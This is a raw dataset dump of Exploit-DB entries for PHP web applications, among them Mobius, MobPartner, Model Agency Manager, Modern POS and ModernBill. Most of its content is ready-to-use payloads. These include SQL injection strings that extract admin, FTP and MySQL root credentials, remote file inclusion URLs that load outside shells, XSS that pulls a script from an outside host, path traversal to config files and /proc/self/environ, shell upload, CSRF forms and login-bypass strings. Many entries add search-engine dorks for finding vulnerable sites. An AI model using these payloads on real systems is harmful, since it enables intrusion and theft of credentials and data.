deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29372
Description: Mobilelib Gold - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-12-29
Author: viP HaCKEr

Exploit:
source: https://www.securityfocus.com/bid/21817/info

Mobilelib GOLD is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mobilelib GOLD version 2 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/contact_us.php?email=%20%22%3E%3Cscript%20src%3Dhttp%3A//www.example2.com/swt.js%3E%3C/script%3E http://www.example.com/[path]/contact_us.php?errr=%20%22%3E%3Cscript%20src%3Dhttp%3A//www.example2.com/swt.js%3E%3C/script%3E
Exploit-DB #2383
Description: MobilePublisherPHP 1.5 RC2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-17
Author: Timq

Exploit:
MobilePublisherPHP 1.5 RC2 (functions.php)Remote Include Vulnerability

##################################################################

Discovered by: Timq
http://www.securitydb.org

Team-Rootshell
##################################################################

Email: timq[at]hackernetwork[dot]com

http://www.securitydb.org

Team-Rootshell
##################################################################

Vulnerable: require $abspath."/functions.php";

###################################################################

Exploit PoC:

http://site.com/[dir]/header.php?abspath=http://site.com/shell.php?


####################################################################

Shoutz: Warpboy,Z66,Gammarays,Archangel,Cm2,Splinter,InTel,Preddy,Ice,ErazerZ,Maggot
PunKerX,Pepin,Ender


#####################################################################

# milw0rm.com [2006-09-17]
Exploit-DB #6138
Description: Mobius 1.4.4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-26
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #   [ Mobius <= 1.4.4.1 ]   Remote SQL Injection Vulnerability  #
 #################################################################
 # 
 # [ Script: Mobius Web Publishing Software ]
 #
 # [ Script site: http://www.willo.com/mimsy_xg/mobius.asp ]
 # 
 # [ Default table_name with users: Webusers ]
 # 
 # [ Vuln: browse.php ] http://site.com/browse.php?id=-1+UNION+SELECT+concat_ws(char(58),USID,EMAIL,SUPERSECRETPASSWORD,ADMIN)+from+Webusers+limit+0,1/* 	
 #	
 # [ Vuln: detail.php ] http://site.com/mobius_path/detail.php?t=exhibitions&type=exh&f=&s=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* 
 # *[ in other version of Mobius, number of columns may be different ]* 
 # 
 # [ Dork example: "This website is powered by Mobius" ]
 #
 #####################################################
 # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz..
 #####################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-07-26]
Exploit-DB #11321
Description: MobPartner Chat - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-02-02
Author: AtT4CKxT3rR0r1ST

Exploit:
MobPartner Chat  Multiple Sql Injection Vulnerability
============================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : MobPartner
.:. Download Script: http://www.mobpartner.com/services/chat/?wsid=32174
.:. Bug Type       : Sql Injection [Mysql]
.:. Dork           : [1]"Powered by MobPartner" inurl:"chat.php"
                       [2]"Powered by MobPartner" inurl:"write.php"
####################################################################

===[ Exploit ]===

www.site.com/chat.php?id=[SQL INJECTION]
www.site.com/write.php?id=[SQL INJECTION]

********************************************************************
 T0 Get Username & Password Admin Site

[Sql Injection ; {Username & password Admin}]

www.site.com/chat.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6+from+texad_admin.users--
www.site.com/write.php?id=null+and+1=2+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6+from+texad_admin.users--


********************************************************************
 T0 Get Username & Password FTP Control Panel

[Sql Injection ; {Username & Password FTP Control Panel}]

www.site.com/chat.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3,4,5,6+from+pureftpd.ftpd--
www.site.com/write.php?id=null+and+1=2+union+select+1,concat(user,0x3a,password),3,4,5,6+from+pureftpd.ftpd--


********************************************************************
 T0 Get Username & Password Root Server

[Sql Injection ; {Username & Password Root Server}]

www.site.com/chat.php?id=null+and+1=2+union+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6+from+mysql.user--
www.site.com/write.php?id=null+and+1=2+union+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6+from+mysql.user--

####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #11019
Description: MobPartner Counter - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-06
Author: wlhaan hacker

Exploit:
_____________________________________________________
MobPartner Counter) Remote File Upload Vulnerability )

#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+] team wlhaan Hacker #
# [+] Dork : "MobPartner Counter" "upload files"
#####################################################

The exploit :

http://localhost/path/upload.php


edit shell

shell.php.pgif


Get now shell :

http://localhost/path/files/shell.php.pgif



and good luck :D

Thanks to : shooq hacker ..

#####################################################
Exploit-DB #9353
Description: MOC Designs PHP News 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-04
Author: SirGod

Exploit:
#########################################################################
[+] MOC Designs PHP News v1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################

[+] Homepage : http://www.mocdesigns.com/

[+] SQL Injection (Auth Bypass)

 - PoC

    http://127.0.0.1/news/login.php

 User : 'or''='
 Password : 'or''='

 - Live Demo

    http://www.mocdesigns.com/news/login.php

#########################################################################

# milw0rm.com [2009-08-04]
Exploit-DB #22977
Description: MOD Guthabenhack 1.3 For Woltlab Burning Board - SQL Injection
Type: webapps
Platform: php
Date: 2003-07-31
Author: ben.moeckel@badwebmasters.net

Exploit:
source: https://www.securityfocus.com/bid/8321/info

MOD Guthabenhack For Woltlab Burning Board reported prone to an SQL injection vulnerability.

It has been reported that MOD Guthabenhack fails to sufficiently sanitize user input. It has been reported that this may allow the attacker to bypass authentication methods via SQL injection attacks.

javascript:x=document.forms[0].geworbenv;x.value=",
groupid=1";alert(x.value);
Exploit-DB #34283
Description: Model Agency Manager - 'search_process.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-13
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/41509/info

Model Agency Manager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search_process.php?searchtype="/><script>alert('XSS')</script>
Exploit-DB #9603
Description: Model Agency Manager Pro - 'user_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-09
Author: R3d-D3V!L

Exploit:
[â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢
[â˜ ]
[~] Tybe:(view.php user_id) Remote SQL Injection Vulnerability
[â˜ ]
[~] Vendor: www.phpmodelagencyscript.com
[â˜ ]
[â˜ ] Software: Model Agency Manager PRO
[â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))
[â˜ ]
[â˜ ] Date: 7.9.2009
[â˜ ]
[â˜ ] Home: CL0S3D
[â˜ ]
[â˜ ] contact: X@hotmail.co.jp
[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 

[â˜ ] Exploit:

[â˜ ] XxX/view.php?user_id= EV!L !NJECT
[â˜ ] (EV!L !NJ3c7):1%20union%20select%20user(),2,3,4/*&view=photos

[â˜ ] L!VE Exploit:
http://model-agency-manager-pro.phpmodelagencyscript.com/view.php?user_id=1%20union%20select%20user(),2,3,4/*&view=photos
[â˜ ]MORE ER0RR:
photos.php?user_id=((Ñ3d D3v!L))

motm.php?user_id=((DEV!L-Ro007))
forum_message.php?id=((STr0KE))

[â˜ ]

N073:
REAL R3d-d3V!L !S h3R3 LAM3RZ ((â˜ Xâ˜ ))

ARAB!AAN HAAACCKER !!

[~]-----------------------------{str0ke}-----------------------------------------------------
[~] Greetz tO: {str0ke} & DEV!L R007 & 8orn 2 K!LL & D.MODY & G0G0 & arabian hacker & EL z0hery
[~]
[~] spechial thanks : ((dolly)) & ((7am3m)) & ghost L0v3R & Û©ÛžÛ©à¹‘ Ø¹Ù…Ø§Ø¯ à¹‘Û©ÛžÛ© & {0rashey}
[~]
[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
[~]
[~]!'M 4r48!4N 3xPLO!T3R
[~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2009-09-09]
Exploit-DB #44682
Description: Model Agency Media House & Model Gallery 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2018-05-21
Author: L0RD

Exploit:
# Exploit Title: Model Agency Media House & Model Gallery 1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Authentication bypass
# Date: 2018-05-21
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/model-agency-media-house-model-gallery/16927610?s_rank=29
# Version: 1.0
# Tested on: Kali linux

# Description:
#Model Agency - Media House & Model Gallery  1.0 suffers from multiple vulnerabilities :

# POC 1 : Persistent cross site scripting :
1) After creating an account , go to your profile.
2) Navigate to "Update profile" and put this payload :
"/><script>alert(document.domain)</script>
3) You will have an alert box in the page .

# POC 2 : CSRF : cross site request forgery :

# User's CSRF exploit :
<html>
<head>
    <title>CSRF POC</title>
</head>
<body>
    <form action="http://model.thesoftking.com/updateprofile"
method="post">
        <input type="hidden" name="name" value="anything">
        <input type="hidden" name="mobile" value="200000">
        <input type="hidden" name="address" value="anything">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

# Admin page CSRF exploit :

<form action="http://model.thesoftking.com/admin/setgeneral.php"
method="post">
        <input name="name" value="test" type="hidden">
        <input name="wcmsg" value="test" type="hidden">
        <input name="address" value="test2" type="hidden">
        <input name="mobile" value="1000000" type="hidden">
        <input name="email" value="test@test.com" type="hidden">
        <input name="currency" value="decode" type="hidden">
</form>
    <script>
         document.forms[0].submit();
    </script>

# POC 3 : Authentication bypass :
# Attacker can bypass admin panel without any authentication :
Path : /admin
Username : ' or 0=0 #
[CREDENTIAL_REDACTED]
Exploit-DB #16134
Description: Model Agentur Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-08
Author: NoNameMT

Exploit:
# Exploit Title: Model Agentur Script SQL Injection Vunerability
# Platform: php
# Date: 05.02.2011
# Author: NoNameMT
# Software Link: http://www.media-products.de/model-agentur-p-269.html AND
http://www.media-products.de/model-agentur-v2-p-420.html
# Price: 19,95 € / 29,95 €
# Version: 1.0 / 2.0
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/index.php?page=setcard&id=-618+union+select+1,2,3,4,5,version%28%29,7,8,9,10,11,12--+

Maybe there a diffrent number of columns

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42
Exploit-DB #12443
Description: Modelbook - 'casting_view.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
       Modelbook (casting_view.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 29-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: AlstraSoft AskMe Pro
Vendor  	: http://www.rocky.nu/
Price		: $100.00 USD
Google Dork	: allinurl:casting_view.php?adnum=
Overview	:

Modelbook is a full featured web community script. A very extensive and 
powerful web application written in PHP. 100% Open Source Code, no Encryption.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+1,group_concat(email,char(58),pass)v3n0m,3,4,5,6,7,8,9,10+from+users--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/casting_view.php?adnum=[SQLi]

----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (baru tau gw ur klo lo ternyata pernah curhat sambil nangis² bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #46137
Description: Modern POS 1.3 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Modern POS 1.3 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://itsolution24.com/
# Software Link: https://codecanyon.net/item/modern-pos-point-of-sale-with-stock-management-system/22702683
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/_inc/bridges/php-local/index.php?action=download&path=[FILE]
# 

GET /[PATH]/_inc/bridges/php-local/index.php?action=download&path=../../../config.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=074b581c124d1caf5df[PII_REDACTED]ea8; cpsession=%3aRoGDGcVEun7oqKs9%2c4760d80be71792470b1f6ebfd8f4c0a5; timezone=Asia/Baghdad
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sat, 12 Jan 2019 23:29:12 GMT
Server: Apache
X-Powered-By: PHP/7.2.13
Content-Disposition: attachment; filename="config.php"
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Length: 2920
Content-Type: text/x-php;charset=UTF-8

GET /[PATH]/_inc/bridges/php-local/index.php?action=download&path=../../../../../../../../proc/self/environ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=074b581c124d1caf5df[PII_REDACTED]ea8; cpsession=%3aRoGDGcVEun7oqKs9%2c4760d80be71792470b1f6ebfd8f4c0a5; timezone=Asia/Baghdad
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sat, 12 Jan 2019 23:34:27 GMT
Server: Apache
X-Powered-By: PHP/7.2.13
Content-Disposition: attachment; filename="environ"
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Length: 0
Content-Type: inode/x-empty
Exploit-DB #46138
Description: Modern POS 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Modern POS 1.3 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://itsolution24.com/
# Software Link: https://codecanyon.net/item/modern-pos-point-of-sale-with-stock-management-system/22702683
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/_inc/pos.php?query_string=[SQL]&category_id=&field=[SQL]&action_type=PRODUCTLIST
# 

GET /[PATH]/_inc/pos.php?query_string=Efe%27||(/*!11111SElecT*/+%27Efe%27+/*!11111FRom*/+/*!11111DuAl*/+/*!11111whERE*/+6=6+/*!11111anD*/+(/*!11111SEleCT*/+6+/*!11111FRoM*/(/*!11111SELECT*/+COuNT(*),/*!11111CONCAT*/(@@verSion,(/*!11111seleCT*/+(ELT(6=6,1))),/*!11111FLoOR*/(RAnD(0)*2))x+/*!11111FRoM*/+/*!12345InFOrMaTION_SchEmA.plUgINS*/+/*!11111grOUP*/+/*!11111by*/+x)a))||%27&action_type=PRODUCTLIST HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=074b581c124d1caf5df[PII_REDACTED]ea8; cpsession=%3aRoGDGcVEun7oqKs9%2c4760d80be71792470b1f6ebfd8f4c0a5; timezone=Asia/Baghdad
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jan 2019 23:25:05 GMT
Server: Apache
X-Powered-By: PHP/7.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
Exploit-DB #9544
Description: Modern Script 5.0 - 'index.php?s' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-31
Author: Red-D3v1L

Exploit:
/ ___   )(  __   )/ ___   )
\/   )  || (  )  |\/   )  |
    /   )| | /   |    /   )
   /   / | (/ /) |   /   / 
  /   /  |   / | |  /   /  
 /   (_/\|  (__) | /   (_/\
(_______/(_______)(_______/
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  Modern Script <== 5.0 (index.php s) Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:             [ Hackteach.org ]
    [Â»] Script:              [ Modern Script 5.0 ]
    [Â»] Language:            [ PHP ]
    [Â»] Home:                [ http://cmsdemo.enterbt.hu/modern5 ]
    [Â»] Founder:             [ Red-D3v1L < php-c0de@hotmail.com > SQL@Hotmail.eS < ]
    [Â»] Gr44tz to:           [ Hackteach Team -  Sniper-Code - j0rd4n14n.r1z - The-g0bL!N - G-z3r0 ]
    [Â»] Fuck to :            [ Lito << Big Lamerz Sux << And Donky 5acker << n00bZ ]
########################################################################

===[ Exploit SQL ]===  

 [Â»] [Path]/index.php?s=[SQL]

 [Â»] Live dem0 : 

http://cmsdemo.enterbt.hu/modern5/index.php?s=-182+union+select+version(),2--


Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-31]
Exploit-DB #2127
Description: ModernBill 1.6 - 'config.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Solpot

Exploit:
#############################SolpotCrew Community################################
#
# modernbill ver 1.6 (DIR) Remote File Inclusion
#
# Download file : http://freshmeat.net/projects/modernbill/
#
#################################################################################
#
#
# Bug Found By :Solpot a.k.a (k. Hasibuan) (03-08-2006)
#
# contact: chris_hasibuan@yahoo.com
#
# Website : http://www.solpotcrew.org/adv/solpot-adv-04.txt
#
################################################################################
#
#
# Greetz: choi , cow_1seng , Ibnusina , Lappet_tutung , h4ntu , r4dja ,
# L0sTBoy , Matdhule , setiawan , barbarosa, NpR , Fungky , Blue|spy
# home_edition2001 , Rendy ,Tje , m3lky , no-profile , bYu
# and all crew #mardongan @ irc.dal.net
#
#
###############################################################################
Input passed to the "DIR" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from include/html/config.php

//include($DIR."include/misc/mod_sessions/session_functions.inc.php");
#session_set_save_handler("sess_mysql_open","","sess_mysql_read","sess_mysql_write","sess_mysql_destroy","sess_mysql_gc");
//session_start();
session_register("set_language");
session_register("v");
$new_language = ($set_language) ? $set_language : NULL ;
$signup_form = TRUE;
include_once($DIR."include/functions.inc.php");
## ------------------------------------------------------
## DO NOT CHANGE STOP
## ------------------------------------------------------

google dork : allinurl:/modernbill/

exploit: http://somehost/modernbill/include/html/config.php?DIR=http://evilcode

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-08-07]